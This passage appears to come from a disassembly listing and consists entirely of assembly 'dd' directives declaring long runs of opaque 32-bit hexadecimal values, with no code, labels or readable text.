		dd 0ED6C7B7Ah, 0A0712FC7h, 0FA8E54B8h, 9DE100AFh, 233479FEh
		dd 6A01EAE0h, 0F3BBA132h, 95F537A8h, 79F58880h,	2546AC59h
		dd 7E1D2601h, 0BDA5963Dh
		dd 0C9F3F200h, 2F2C5407h, 0C711F6F4h, 0BC4599CFh, 0DB697471h
		dd 14C48000h, 0D01C9131h, 0CC00BED0h, 9702F3AFh, 95EF3F24h
		dd 0DCA4A288h, 0F9E490EDh, 20371889h, 0E1AD1007h, 0F1D92B17h
		dd 6149920Fh, 0EF37A324h, 0A22001D3h, 55B590BAh, 10B0516Bh
		dd 20B4F06Fh, 0C7A78F0Fh, 388D4A4h, 43019979h, 600FC25Ch
		dd 0A0FC7DFDh, 0FA1AF6FCh, 8A3730B2h, 995B5E14h, 8F3048D5h
		dd 55A341F9h, 0E5F19381h, 9C7F0C40h, 38A6050Ah,	5A7A26Fh
		dd 402243F0h, 0E9B45DD8h, 154C32C9h, 6C3F24A7h,	9223D600h
		dd 7D5C89h, 5B0902Dh, 67A89650h, 0A7DB38C0h, 0A44C0DDEh
		dd 0BEA203FCh, 70093772h, 72E103Ah, 71C80A6Fh, 2421E0FCh
		dd 501891A2h, 89E142C8h, 80CF7F20h, 4E72EC7Ch, 98874846h
		dd 0A848204Ch, 0F81DDD94h, 0C970A47h, 0BDEF08DCh, 22C18D00h
		dd 60548F7Ch, 0DFF058EAh, 0A7121D74h, 0F045E9A3h, 0A80AA578h
		dd 53C09C23h, 0DD2E9796h, 5E3740F8h, 0E15FAC28h, 30A2BC34h
		dd 4EC05827h, 6AEF313h,	1637093Eh, 0A70318E9h, 60D96F08h
		dd 0EBDBF181h, 5893CC4Ch, 72100CA3h, 3E05760Eh,	10A0E14Eh
		dd 0C7291490h, 206D60DBh, 10AF85Eh, 54A26448h, 402FA00h
		dd 0AFDB2950h, 0C248AE8h, 96E4E184h, 8828ECD6h,	0A0BEB0A4h
		dd 16341014h, 20977922h, 2074962Ch, 4BA8C1Ch, 213A993Bh
		dd 0CCF06C19h, 0F5080976h, 8800D549h, 4EDEB2D8h, 17580DFEh
		dd 40C58058h, 1219D49h,	0CBAFA7BCh, 20D0B4FFh, 100055EFh
		dd 769DE3Ch, 49A82BF6h,	823910A1h, 0E1184A40h, 8EB881FCh
		dd 97ECC44Fh, 14C0CA23h, 1464BFB0h, 10CB621h, 0A4A0F94Bh
		dd 6C2018A5h, 0A44149C7h, 0A0B92Ch, 0ED4AA724h,	0D009F92Bh
		dd 11BFAFA6h, 0C616024h, 0B04BDC45h, 6C940029h,	30422566h
		dd 8B71C54Ah, 8303DAF6h, 4048A8BDh, 8118064Dh, 89EDEA4Ah
		dd 95BC6CA0h, 0A7C374Dh, 0B4CF794Dh, 13F8E40h, 28037BF8h
		dd 194B8F9h, 2ED429E7h,	0A049566Dh, 0E1F0898h, 85CC8431h
		dd 0A628DFh, 3B4AB3FBh,	61BAE46h, 0BF2FE103h, 0B1E2FF26h
		dd 984022A1h, 90560F2Ah, 80087E88h, 0C70149F2h,	680361DFh
		dd 0E420873Ch, 5F1A040Bh, 0C08F3B6Fh, 67D22F88h, 37252B05h
		dd 0B8404323h, 17726ABAh, 78E044Ah, 85F80299h, 207534h
		dd 0C735F614h, 8CA17402h, 64007452h, 70E8CE2Eh,	1EE388h
		dd 21DDDFCAh, 0D4B04BE0h, 0B8388524h, 0C7A8D903h, 4CCAC840h
		dd 2C5E77F3h, 8010049Eh, 79E1F723h, 809BA98h, 0A1AC58AFh
		dd 1A48A57Ch, 0B8810C24h, 0E5C3FF84h, 0C985008h, 95696796h
		dd 230189Ah, 0CAB6103Ah, 1162171Dh, 0BBB80158h,	0E806B80Ch
		dd 6E4D9CA2h, 0EB831018h, 0C732C20Eh, 74AB5E6Bh, 81502C13h
		dd 49242760h, 0BB63A84Ah, 376809CDh, 0FCA00DA7h, 88A595D9h
		dd 0E35C0C92h, 609AC8F8h, 9727207Ch, 0A33F08C2h, 0C4F843A1h
		dd 12C9D880h, 6DF4006Ch, 3D3C368Fh, 0A4901A27h,	43148h
		dd 0B1095BCBh, 0ED350F03h, 26E10834h, 0B510E7D3h, 0E05060B8h
		dd 34633AC7h, 0F87AB3C8h, 4920E1E5h, 3C06CC8Dh,	31F5644Eh
		dd 112F609h, 5D6498B1h,	6BE11357h, 389440E4h, 0CC9D6FDh
		dd 6753100Dh, 2054B80Dh, 0DA454C90h, 30818124h,	0DF0A7F0h
		dd 0C4085058h, 6404FF74h, 80D8948Dh, 134A3DD8h,	3C63E139h
		dd 847060D2h, 0ED31C726h, 100B3083h, 0D9009AF4h, 28622FE9h
		dd 0FD97B96Eh, 3677460h, 963C4AE2h, 280498BFh, 0F7837404h
		dd 1D7CB8D1h, 8105AC33h, 32E28FB0h, 361097D4h, 1826602Eh
		dd 41E4B524h, 0AEB9540Fh, 0A140000Bh, 17214C28h, 4EDA37B1h
		dd 5316A6A4h, 8D1414C0h, 139B8417h, 0A5887040h,	0DE0C27F5h
		dd 0D860E1C7h, 92C9887h, 8FAD815Fh, 7F2C1464h, 5030ECCEh
		dd 9A160437h, 0E944A68Ch, 0CC490021h, 12C850FEh, 163CB6E1h
		dd 13802018h, 0D9DD117Ah, 5F1DD5D0h, 0CCD640B1h, 79A9657h
		dd 0E8FE20C4h, 0C89974D2h, 2EDFA778h, 6904490Dh, 8AB8D80Ah
		dd 51F0E027h, 0B90605Dh, 0E4182150h, 0D42CE182h, 0CB04C464h
		dd 34002698h, 0F3DF3D69h, 0F8C12A00h, 0E395E608h, 0E40C49Eh
		dd 0DCA080E4h, 6C177468h, 700CA5A6h, 1DBC0A2h, 21FF730Fh
		dd 513CB237h, 20F7E49Ch, 96254A64h, 0A6A400B6h,	0B73BB55h
		dd 1305DFC3h, 68360010h, 0B0E0A150h, 0BB16EBFCh, 70004393h
		dd 0A5023EEEh, 472F0B4Eh, 0B0837FEAh, 68C61F37h, 35C97C1Ch
		dd 4C1D2452h, 3F4EC0FCh, 2A7503C8h, 0F87963h, 0D1EF3ECAh
		dd 0B3290E52h, 170088B8h, 234BE7B0h, 71568061h,	6F301C2Dh
		dd 72C040A1h, 0E543C703h, 0A8F3A8C0h, 27F328Fh,	0E15CEAD2h
		dd 74CA1FA3h, 0C4586C85h, 0D6B04498h, 1590D579h, 13920CCCh
		dd 0F09054C3h, 5F5BE8D8h, 301C4678h, 0E42A95CBh, 0BC71A62Ch
		dd 4DF4FF14h, 916864A8h, 44C61302h, 50109606h, 3964B03Fh
		dd 1F7DD395h, 24C7DC2Ch, 224E92F4h, 0E101F858h,	0F020780Fh
		dd 5FBD3A52h, 1BFB4901h, 0F8C2C55Bh, 0F0C026BAh, 48823A06h
		dd 37A20AF9h, 7A830F1h,	82BDF370h, 2868423Fh, 81817799h
		dd 943EE8B8h, 98247A8Fh, 0C42EB600h, 50008040h,	52A8BB2Ch
		dd 0F4FE77AEh, 75E530E1h, 0A7AC2788h, 0DE003CB0h, 320EBBF4h
		dd 0DF34F14h, 27D2A829h, 0FCA811F9h, 125462BBh,	7447B937h
		dd 3130D736h, 2E54FF34h, 6520485Dh, 0DEC00467h,	0B179058Ah
		dd 913E20CCh, 5F2F09F8h, 1404340Ah, 960AE0F9h, 92E8A909h
		dd 64AC9C7Ch, 1F256540h, 8F6EF5C4h, 4F8FF72Ah, 0AE6349C1h
		dd 57D8E07Eh, 0C0C9F9F8h, 0E118075Eh, 10C104D4h, 28404321h
		dd 3129E230h, 0E6781495h, 0E4900001h, 7F3E00FAh, 0EBDB4C1Ah
		dd 0CB3A2624h, 1330002Eh, 0B3288212h, 54F00F0Eh, 0D1933210h
		dd 0A8874964h, 34017CD8h, 0E233FD71h, 0C065B751h, 40842060h
		dd 3DFA8E9Eh, 821BF670h, 80A011E1h, 0B020EA5Bh,	6067E0A5h
		dd 0EB82054Bh, 8AF2AD66h, 0DA2F8990h, 1DC3567Ch, 1CF3CDECh
		dd 25B6000Eh, 0D100B951h, 0BA07AF56h, 3FF56CFEh, 0A9B0EA1Bh
		dd 9D526726h, 0D96021F0h, 3AF73666h, 106E06BCh,	26278589h
		dd 77E12E00h, 13EA5D0Fh, 0FEFF71F4h, 54240604h,	13DE20E9h
		dd 0E3F81C79h, 856078F4h, 50D83050h, 5581B54h, 55801204h
		dd 0DC002BDh, 4973B52Dh, 270B02Fh, 2927C235h, 78E05E8h
		dd 5D1911B4h, 0B0317433h, 9EE90D06h, 837EC7FEh,	0BE56F2C4h
		dd 0C1C62E8Fh, 0B5001CDDh, 66EF30A7h, 7EF82859h, 1E70325Bh
		dd 4C80B826h, 4856C581h, 0E91F7806h, 0F63CFD3Fh, 3311A0C6h
		dd 0E080DC34h, 1E8B06CFh, 0E9F1F741h, 2687626Ah, 834077FFh
		dd 427DD776h, 810B7162h, 892684ECh, 599BBE00h, 0E9187154h
		dd 0B11A2C6Bh, 0CF883E50h, 7722337Ah, 90B15D14h, 7DD98C9Bh
		dd 63010A3Ch, 5CDE26C8h, 30C2C328h, 8DAA8DF6h, 0AA2E0B18h
		dd 0A0870ACAh, 10A9D68Ch, 183E98FEh, 2B51D184h,	208228F9h
		dd 2E5C0ADh, 0F3CA9880h, 0C3E9C885h, 29BE31FDh,	948BE8C8h
		dd 0C6C036DDh, 2F7EEE81h, 65F4E5D9h, 28AA9Bh, 3521CFACh
		dd 0F03114B4h, 5E2888FFh, 0A43D52E9h, 8AAC2C28h, 0CFC38E9h
		dd 0C116C998h, 8B0FCE80h, 83A48802h, 5A0694B0h,	8CCDE98Ah
		dd 241400F1h, 0BB53565Ch, 4F09296Dh, 2DE8946h, 1218807h
		dd 0CCFFC580h, 0CCF29CDh, 667AC675h, 5A491Ch, 43D70A9Fh
		dd 100C98E5h, 3838D4Eh,	0DA0D5C60h, 5B980125h, 1D01F281h
		dd 0E9229C6Fh, 288680ECh
		dd 9689665Ch, 0F4FD50E8h, 0A8A0D65Dh, 0C452815Ah, 2A6808DAh
		dd 0CCE9067Fh, 0EE77E59Eh, 5B2B160Ah, 5039B501h, 1EC15808h
		dd 26BB2377h, 810B4FFh,	43C81C60h, 5D557AB4h, 54C381E5h
		dd 39AD6859h, 0E640D7BEh, 15DB9153h, 6D5F821h, 14C5685Fh
		dd 0D2C6DC2Dh, 833663E2h, 0BC0C42h, 3112E8C1h, 54E468C8h
		dd 62873233h, 545C6A2Ch, 0F8B6603h, 0E7895718h,	1B706484h
		dd 0AC6DC379h, 377BA78Ah, 0C03F17FDh, 0F50A1F1h, 65D8714h
		dd 0F9C90C0Bh, 0C10A30h, 37054839h, 0E94E9927h,	0F2567C2Ah
		dd 2960A7ECh, 49890F0Ch, 1361C42Bh, 52AC002Ah, 7A80EEB2h
		dd 0B85000C2h, 10046660h, 6C690DE9h, 60B2F24h, 7ABDA3Eh
		dd 2A64C6F5h, 6FB8B211h, 4DEF620Fh, 59B88063h, 1204C783h
		dd 557EE957h, 0C89E0280h, 0BE007C53h, 664B42D7h, 513B9829h
		dd 44C6C90Eh, 0FB8D3743h, 193FF10h, 0FA78EBB5h,	0DC37F40Ah
		dd 0A48B1ACAh, 50042F21h, 0D1CCE089h, 91C07E83h, 583508B5h
		dd 0C95C1133h, 40344807h, 0EC27AEF7h, 8DC299C7h, 880A3472h
		dd 0E6768DAh, 44C4802Dh, 2F8815Fh, 3B884821h, 6A667418h
		dd 0ABC2444h, 0FD29AE75h, 289B22A6h, 65B5D389h,	6758CCE7h
		dd 9517E35Eh, 4060A4Ch,	22A321B3h, 57878181h, 9A02F761h
		dd 0E3D4AC15h, 68959A8Eh, 42DF108Fh, 0F04661A6h, 19023FAAh
		dd 7369846Ah, 5FD3FB7Ch, 1841A47h, 232C1905h, 16D1E932h
		dd 0C9C073BCh, 63E991ABh, 15CB55D4h, 872CB394h,	315C00A5h
		dd 0B0E951C3h, 0E72F8862h, 0E07B688Ah, 0FCD89803h, 598886Ch
		dd 0A50816B1h, 0D0FF283Eh, 0EBA0D174h, 8501756Bh, 0E9F30144h
		dd 0F32345D8h, 1A183278h, 0D660EF69h, 9002B1F7h, 0F9895A4Fh
		dd 1124C15Fh, 183CD390h, 5C8F36Eh, 88290087h, 9392D59h
		dd 54B0043Bh, 0CA0747F9h, 82243111h, 0E928EC56h, 53C31454h
		dd 3A9201ECh, 5AB26818h, 0B2EE0CE1h, 6E7633A8h,	86E4D9DFh
		dd 0BD28191Ch, 412021D3h, 20EF9033h, 29261D2Ah,	0FA1898DFh
		dd 8095CEC2h, 0D0A6855h, 0F347981Ah, 0D6975D95h, 2E459A14h
		dd 90001270h, 312F38CBh, 3BB6A0EFh, 6A35800Bh, 74246401h
		dd 9130860Fh, 40FAD914h, 1DE7B925h, 0F773C604h,	5EC081D9h
		dd 0B0C449EBh, 0C8B2BA1h, 30F0A4D7h, 65E0E999h,	98B914C0h
		dd 0DF4D3329h, 6FDD1A44h, 2264F8C0h, 5829BB5Ch,	0B2E070A6h
		dd 8F7004F6h, 242CD03Ah, 2633766h, 0D2F6D986h, 0A3040880h
		dd 29E9C188h, 943C6469h, 9E3C2652h, 8A468C7h, 0D312A25Ah
		dd 36248118h, 626A92D5h, 2558B61Ch, 90348706h, 38992021h
		dd 2137BF8h, 0B704183Ch, 2D0794A5h, 820024Bh, 12148C1h
		dd 47F0EE8Bh, 5D8C287Bh, 9D3A26EBh, 4465294h, 87685609h
		dd 0FB1E2209h, 485222h,	200E2C5Bh, 0F28058C2h, 0E4E9D608h
		dd 0D85315A1h, 74051ED2h, 0D40A1AD8h, 0C34CA794h, 33EBC89Dh
		dd 0FF303124h, 0F1351DCBh, 83CE0BD5h, 0D30EC101h, 4F739A61h
		dd 84F4E720h, 0C081805h, 393D3E4Eh, 0E4AD9552h,	669061A8h
		dd 8821E1F7h, 0B40DCEh,	1F3A0AACh, 154A1648h, 0B19D72Ch
		dd 315A5452h, 3D3150CEh, 0CFFE8325h, 0D5E905DDh, 536B8C8Ah
		dd 7BF46814h, 9583C890h, 0A1DD855Bh, 1FC1E904h,	51546693h
		dd 0A31D402Ch, 58900530h, 0DEB17D19h, 0CD0B8C4Fh, 480DD6D1h
		dd 53006EEFh, 38083405h, 0EC012D79h, 0E92F9913h, 245C4C8Ch
		dd 51164195h, 42CF299h,	0F0C55104h, 575866A2h, 13310B1Dh
		dd 68ED4F53h, 0DD440529h, 0CEA1E6E6h, 88B22469h, 0F81FEF72h
		dd 5307595Bh, 0D2F347B7h, 0F68B3956h, 7A29D901h, 605EF001h
		dd 261388CEh, 31014EBEh, 6F236358h, 0C1C4DE45h,	0B18F03C8h
		dd 9B9A08BCh, 0E408A626h, 0E65D1446h, 2CC29673h, 10640960h
		dd 9C51863Ah, 419B4E4Ch, 7360A95Ah, 0EC762C64h,	58B55B4Dh
		dd 5ED000B1h, 880F0538h, 18F562AFh, 0BC8C468h, 0E946BE9h
		dd 4860163Dh, 4B74A462h, 7889BD01h, 6808BC36h, 4F6A5C2Ch
		dd 0FEF1E98Ah, 59833CA4h, 40271868h, 93549429h,	4568E2CDh
		dd 9EE9F9A2h, 51040C70h, 0BA52E189h, 0D232138Ch, 83FC8CAFh
		dd 9C920CDFh, 15C78C1h,	6966C1D7h, 83582086h, 894B22EEh
		dd 0E5C10200h, 308A0F08h, 0F5511760h, 923E50DCh, 0A9821644h
		dd 1215049h, 4556E907h,	0E7C4DAEh, 7015E568h, 3C86BB3Dh
		dd 0D84B6233h, 6022990Eh, 22F72953h, 71D6ACD4h,	2CAD4833h
		dd 5D1A2891h, 91D36B8h,	81AAD2C2h, 98335F29h, 0BB493142h
		dd 82D49C77h, 39347022h, 822FE1h, 41CE850Fh, 1806EC9Dh
		dd 86590ACBh, 70C1C01h,	0C488535Ah, 31D7A256h, 682C765Bh
		dd 12129208h, 11491B9h,	0F6DA60CBh, 0FC06A0D7h,	0D60ECFFDh
		dd 922E5FBAh, 90738131h, 0D80101EEh, 20292A97h,	0F87ABB6Ch
		dd 0ED170676h, 0B5056EC5h, 14C2DD01h, 0A1784635h, 5E415D29h
		dd 3E2C8BD2h, 49D2A2D1h, 0E3C56311h, 0D16890B0h, 4085962Ah
		dd 0C6808FB6h, 0F1882600h, 0E9CA305Ah, 99495C57h, 68C0AED5h
		dd 5EA45B6Eh, 4FB08D9Ah, 5D3D6D4Bh, 59CDA601h, 52EB128Bh
		dd 5C290A07h, 0E98AC310h, 0DB98F435h, 0E4C2C43h, 295001E4h
		dd 0E892449Ch, 7507790h, 0F26150EDh, 0CB5B2D12h, 6CA1E02Bh
		dd 2F794F01h, 665FDB89h, 84BDD22h, 72C3C1Dh, 0E5955547h
		dd 6E0593C4h, 65CCBF57h, 2A19B8FDh, 0D4F4E8D3h,	0A374DDECh
		dd 0E360F929h, 62601EA4h, 0E9693768h, 48D6BC89h, 7604931Ch
		dd 5E02ED3Fh, 0CB41EB21h, 0EAD450F7h, 283EBD9Eh, 81D3ACDEh
		dd 3D8EC302h, 97CE61BEh, 943500C6h, 311F8B52h, 0E10CC589h
		dd 99BD1855h, 0EAC29824h, 0E9302CE6h, 5451A138h, 2FCAA259h
		dd 2806F414h, 5C629387h, 0B05D54B3h, 48B7E98Bh,	68C32F1Ah
		dd 1B123A46h, 46269358h, 5CA4A044h, 0D8598209h,	47F0ADA0h
		dd 4F4E7A01h, 0FA25840Fh, 0D0DB9AAEh, 80808CDAh, 0F1B3AF6h
		dd 79665519h, 2A103819h, 0CE2053B9h, 0DA292E25h, 396C08BAh
		dd 7EA19D24h, 8AC26878h, 93BAFA20h, 7300DD7Ah, 0BB53DAF7h
		dd 0CB340E3h, 9FBFE967h, 88EEC375h, 0C60E2069h,	4148F63Dh
		dd 54820013h, 0AC604010h, 5E783E82h, 0F9013B3Fh, 893437A4h
		dd 54685457h, 0DDC6721Dh, 200B37ABh, 28094E67h,	4C852CF0h
		dd 74E91790h, 39282953h, 15C204BBh, 97C006FDh, 7CB80312h
		dd 6ACD010Bh, 0E9115666h, 0ECBB35B3h, 0E81439EEh, 2AEAFCC3h
		dd 23A5BD87h, 19FD430h,	241E7BE5h, 0CCD03E7h, 0CF85512Eh
		dd 33E124C7h, 4B0B8FC2h, 0C24407D9h, 0CF264F23h, 0E4478BA4h
		dd 4352661Bh, 0FECD0CFBh, 9C530ACEh, 7AF489F1h,	1C325665h
		dd 0B6B141B4h, 462C956h, 83616BDBh, 82A98401h, 8BCA19E7h
		dd 163E2973h, 0C3294A85h, 436BB636h, 0C6E97311h, 0C729F248h
		dd 852A79Ch, 0A7A5E2E9h, 616C1B52h, 20FD84C7h, 0F6AB877Dh
		dd 31023282h, 0C130DAF3h, 9E3813Fh, 0F64C065h, 1D549DF4h
		dd 6E4B0D96h, 54527030h, 798AD656h, 3A21A7h, 114A68B4h
		dd 0AFE49A96h, 905BD2F0h, 415F0919h, 508065F4h,	4F3E7B56h
		dd 0AFF22928h, 57080882h, 0D031403Ch, 9724685Ah, 0E961A536h
		dd 915058D9h, 1F7105D0h, 1360B169h, 0B32440C8h,	5BD82864h
		dd 76A920E7h, 0B4ED3E65h, 10F45B99h, 0FF9AD0h, 0E353966h
		dd 8373860Fh, 0DD0526C0h, 90299208h, 4E0D202Fh,	5FEA5350h
		dd 5B9E0700h, 8AC02442h, 30AC1FC5h, 0B450C0D8h,	0F0F480F8h
		dd 10EC8858h, 0C184E3B8h
		dd 296CD97Bh, 91E98728h, 51B80018h, 57DE23Bh, 48641D3Ah
		dd 0F9840C73h, 0BF7202Eh, 2E0C1D0h, 861660Bh, 480C640Ah
		dd 0FD9A0500h, 3352FD6h, 54270563h, 0D09C15E9h,	0E6895600h
		dd 5017F9BBh, 59E90CC8h, 0AC12C68Bh, 606C1C53h,	282C557Dh
		dd 40694C2Ah, 2E6ED6C4h, 148430CAh, 312607BBh, 0E7809EA1h
		dd 6EEAC2Dh, 2ED31382h,	16856C24h, 356BCD80h, 0AEDE4C01h
		dd 716B1F37h, 0E85E5956h, 0AFBA0395h, 983C4A94h, 0EF41653Dh
		dd 23AB1863h, 808DB432h, 24BDA393h, 0D0A67A40h,	0DA5FFAC2h
		dd 0FFCA84D9h, 6660F763h, 6A33E952h, 0F0317BC3h, 0CC88E48Bh
		dd 96FB7B68h, 8F024F94h, 0F7828D7Eh, 800E2FBAh,	76D7161h
		dd 42D204F7h, 96148D0Fh, 7240D60Bh, 435F328h, 96883320h
		dd 51A5262Dh, 870C8C83h, 2CC1B52Ch, 2E403302h, 0F40D3416h
		dd 1A4021EAh, 97EFB155h, 9A1B0689h, 0B9900E75h,	32A10758h
		dd 0C0080C02h, 325365A4h, 610C4E6Eh, 75497A41h,	4DB0267h
		dd 69BED10h, 297B9E6Ch,	880A8DDh, 4CBA75E9h, 0F7A037A5h
		dd 6C2637A6h, 7BBA8DFh,	45A560BBh, 929A4BB2h, 539941F6h
		dd 0AE36E3D1h, 2345F058h, 2B487E39h, 765BC009h,	9C8339A0h
		dd 0E9259316h, 25838AC5h, 7261E08h, 0E498B151h,	2B31A8E2h
		dd 0BE01FD5Ch, 2CBD5492h, 685EFB40h, 714769B0h,	0F70820Ch
		dd 344A8C18h, 0C02BE117h, 4C64EA87h, 8B762F49h,	78365E5Bh
		dd 68274028h, 0A9594224h, 7F905067h, 9A7B9976h,	0E958088Ah
		dd 5D070A93h, 1884C789h, 263140E1h, 0E575F609h,	49E9D360h
		dd 0B137634h, 0F41C06C0h, 80257123h, 9DB39B4Bh,	1382558Ch
		dd 0B0A6606h, 911640B2h, 45828A88h, 1D6C463Fh, 909EFF6h
		dd 7935042Ah, 4EAC101h,	52513092h, 585A5003h, 0A1BAE281h
		dd 0CE9B05D3h, 0B0025D15h, 44490878h, 5FCA6929h, 2DE60F40h
		dd 1C672C3Bh, 0E0690C59h, 89EE4EF4h, 8F02644Eh,	644F30E9h
		dd 0FAFC2E61h, 105A2415h, 0C280037Bh, 0D7D02872h, 5768E149h
		dd 1862EC9Ch, 5AD74C4Bh, 11E2B830h, 9367C05h, 0F8291497h
		dd 0B039C504h, 9209BDCCh, 0E5E153Bh, 8FC27250h,	2DEAA25Dh
		dd 6EEBC182h, 0EDC173D5h, 9A9DEC8Bh, 6840A94h, 0AC8807B1h
		dd 0CA89012Fh, 68D12959h, 0DA31A21Ah, 0E987A898h, 371262DAh
		dd 4C6C5B33h, 680164ACh, 4FDC5ADBh, 0D1E2C3E9h,	0B4222D6Fh
		dd 5A054C29h, 5A16A482h, 0B3EE18C5h, 96350B79h,	0F148E398h
		dd 972110A1h, 0F5015B0Ch, 7E406312h, 876813ACh,	0B1188840h
		dd 0B652160Eh, 64F10C98h, 57E7A84Dh, 6D210568h,	0C45F3941h
		dd 8DE75389h, 1B60A697h, 0F9D39316h, 893D8A3Ah,	281B5888h
		dd 910E6327h, 1661A5EEh, 0A61525CEh, 17C8BC8Bh,	0ADFF4C67h
		dd 12687B59h, 34B7E9F1h, 1525689Ch, 24076C60h, 10BE5055h
		dd 0D631092Bh, 417F965Ah, 68DE0383h, 35C72939h,	9B0F08F8h
		dd 1D788697h, 373C5A5Dh, 1CC47922h, 94DA6720h, 2F68849Ch
		dd 2A44D11Eh, 141CBDF1h, 84534E94h, 37A252CAh, 144A3695h
		dd 0D007A573h, 6935C044h, 4340B7E2h, 81807886h,	268EC16Ch
		dd 406B1155h, 1E323708h, 585E0100h, 3CF2BF57h, 242179DEh
		dd 17355FF8h, 1C2E0887h, 0BF7F7A28h, 0D8963281h, 52D44530h
		dd 627DA2C7h, 38E4F7Ah,	5484A66h, 0AC6512B0h, 5AD14807h
		dd 3FC42DD3h, 0BB8C531Ah, 7E14212Bh, 9B9E0D7Eh,	1D5FD608h
		dd 0D99C8DADh, 655E8862h, 92680473h, 3075CD19h,	939E08E0h
		dd 0F8D3FA7Bh, 0EDB905E0h, 803FD017h, 1E7D7461h, 0C1007376h
		dd 60026980h, 90304A89h, 32D03147h, 164D356Dh, 5E7EF05Ah
		dd 56322029h, 4CA0E8E9h, 7915B64h, 0A31A7BEh, 4E6B0C07h
		dd 84A4905Fh, 0AAB05C30h, 3574010h, 0BC070AB9h,	1DA6765Fh
		dd 6E582B29h, 0F1823CBBh, 207F56E5h, 46413862h,	0C99443C2h
		dd 0C78000F4h, 5CF8286Fh, 6810F166h, 0A55D2E20h, 4C3A254Fh
		dd 0DF1818A3h, 871F9943h, 456CD7C5h, 0C852B733h, 28512360h
		dd 63F05A5Ch, 89E90F5Eh, 1792B94Ah, 607BC414h, 56A1FA81h
		dd 159099Fh, 18B90381h,	4794259h, 5CFD89E0h, 0D6548890h
		dd 1FA74012h, 354615h, 0D50DD8F7h, 15C0A1Bh, 0DA88FC05h
		dd 22C121F1h, 91E9C496h, 43D20E1h, 594F582Eh, 6D56DA83h
		dd 0D9F20545h, 8D43B292h, 0FE232E8h, 68FD24DFh,	2D442134h
		dd 0E9522398h, 6A9649h,	955CB3BDh, 0B8EDD122h, 190903D2h
		dd 0D5F7520Bh, 25C9F5C0h, 1C55A430h, 60726DDFh,	1EF3186Eh
		dd 3124DC0Ah, 2B702AE9h, 3858827Fh, 0C22E96B0h,	0CEE81202h
		dd 7BE3B635h, 64805A90h, 5AE90288h, 80B8C561h, 9FC344C3h
		dd 6852EB57h, 881B5C95h, 0BA01DAB7h, 7D716B1Eh,	122E07E9h
		dd 89B2CCFDh, 0F2EAF183h, 0C44A9173h, 62CEC22Dh, 724F0676h
		dd 0C4198DB4h, 0C331AD83h, 514A2515h, 387AE480h, 2D0C069Bh
		dd 32DC72B8h, 12B5C74Dh, 0DC89DAB4h, 0CB728EF0h, 1E82E689h
		dd 0FDD1DCC9h, 34FB123Ch, 0A0B8CB30h, 26F9005Ah, 0EC727C25h
		dd 82270F7Dh, 60658F1Ch, 632D6CE8h, 26110105h, 8E0F55F4h
		dd 0F7B5642Ah, 0A0D2AEC9h, 3696B8F6h, 29180E28h, 47645DE8h
		dd 2E94224h, 923D7178h,	909F2014h, 7714387Ch, 58060558h
		dd 6463890Ch, 589D09D6h, 730039B8h, 61EA1C56h, 1C2D26B4h
		dd 0B734C0F3h, 0F712D73Fh, 0D360DB72h, 28C04E3Ch, 168C9DEDh
		dd 6F99849Ah, 63D6881h,	0DFF425F0h, 8A3D9C20h, 811390CEh
		dd 0DF4FF0BFh, 5F9D6058h, 3884351Dh, 8C2590A8h,	402060ACh
		dd 485A9005h, 0F62FF71Fh, 0F1804801h, 0E0C1CCECh, 28DD2C0Ah
		dd 2098BC8h, 0B558A766h, 0AE80FBEh, 77478559h, 0A7E7D9C9h
		dd 30D0D519h, 7E0CEB59h, 0E61B791Fh, 753524D8h,	5D0509CCh
		dd 7EDDCEEh, 50A73209h,	0BF30E701h, 89BB91BEh, 0BCD9067Dh
		dd 38164EBFh, 40454F38h, 14975A23h, 0A28062ACh,	21E4C328h
		dd 4B66B230h, 0F16BCE7h, 0D7F71FF1h, 0D7E335ABh, 0B482FF48h
		dd 878AEAA7h, 2A12A69Ah, 7E270F4Dh, 0AA4B2A98h,	0E6577426h
		dd 91152300h, 489CBF0Bh, 9D277FCEh, 8904B216h, 9332E9FBh
		dd 0C7010298h, 0F2F8211Fh, 5A591438h, 83734049h, 30333C79h
		dd 0FD5BD814h, 0E2E7052Ch, 5E05FF4Dh, 0DB160AD2h, 5488AF81h
		dd 0A4D0EEE3h, 6880DDC1h, 4E53BB00h, 4F14E063h,	0C635011Bh
		dd 4D09BCA2h, 189D2889h, 60870BF7h, 333C82CCh, 82EAC12Fh
		dd 5A062F61h, 2CE09880h, 84D9ED05h, 805489B5h, 123A7A35h
		dd 840F6A09h, 4D8E2A4Fh, 13600D1Eh, 13F0315Eh, 5B49B0A9h
		dd 4252229Fh, 0AA050950h, 80E740A6h, 0D6F6C8EEh, 6A36813h
		dd 0C2259FE3h, 9BCCEC0Bh, 5E6AABF8h, 1C36E5Bh, 3633E3F7h
		dd 0D0631D4h, 4A55C5Ch,	71B7F62h, 338A45EDh, 0BD509DD4h
		dd 52E41BA5h, 903DC6BCh, 794E8C61h, 84BD2819h, 411A3172h
		dd 0E9E2B671h, 685D4826h, 305E5E88h, 0E070DFEEh, 0D5294213h
		dd 51C70500h, 2C0FCC71h, 1604EF01h, 0A962C5A7h,	5557C00Eh
		dd 736F21BDh, 25BF30CEh, 1EB5E90Bh, 0B1C5B5C0h,	0B87C9A66h
		dd 0D779006Dh, 0CD31925Fh, 0EF272159h, 80DC935Dh, 0BE60020Dh
		dd 47E9411Fh, 0A52F2438h, 0FD02C141h, 80C2D32Ch, 685BD929h
		dd 15970EE3h, 205C9360h, 7597E998h, 72E8E9A9h, 0C7D2DE1Dh
		dd 7B82AB04h, 391F395Eh, 749B6F8Bh, 0CB295F5Bh,	94D202h
		dd 4C1B05ADh, 2D15F500h, 46EE5B4Fh, 7CAC2AE9h, 5DCB23CEh
		dd 0E349261Ch, 68D3A139h
		dd 223329AEh, 24AA940h,	416E2B5Eh, 44D0C183h, 88E5D30Eh
		dd 0CDF1C04Dh, 0F62F7A12h, 3892AFh, 2741A1B9h, 59CF2139h
		dd 0E906C0A0h, 7FD55324h, 6228B94Ch, 7E1A993Fh,	0EC628054h
		dd 28FC7972h, 717520C7h, 5D82900h, 1F83629Ah, 81A4C15Bh
		dd 0F815114Bh, 0A5FE59C8h, 5ED92301h, 0E21FE82Dh, 4B88E9D0h
		dd 986A44D7h, 1073991Bh, 52C188D4h, 74EBCAE6h, 734FE494h
		dd 0C0080DC9h, 4DBA01EBh, 0FB016977h, 45828355h, 0F86E3D1Ch
		dd 240E56C9h, 10B674D3h, 0F1011D49h, 0B180A0D6h, 1E1CED81h
		dd 0D776653Bh, 52DE40D6h, 0D488FDB2h, 80500C94h, 22FC60ECh
		dd 6EAC070h, 812F2F2h, 2F09D528h, 9B5C25CDh, 6FCB8DD4h
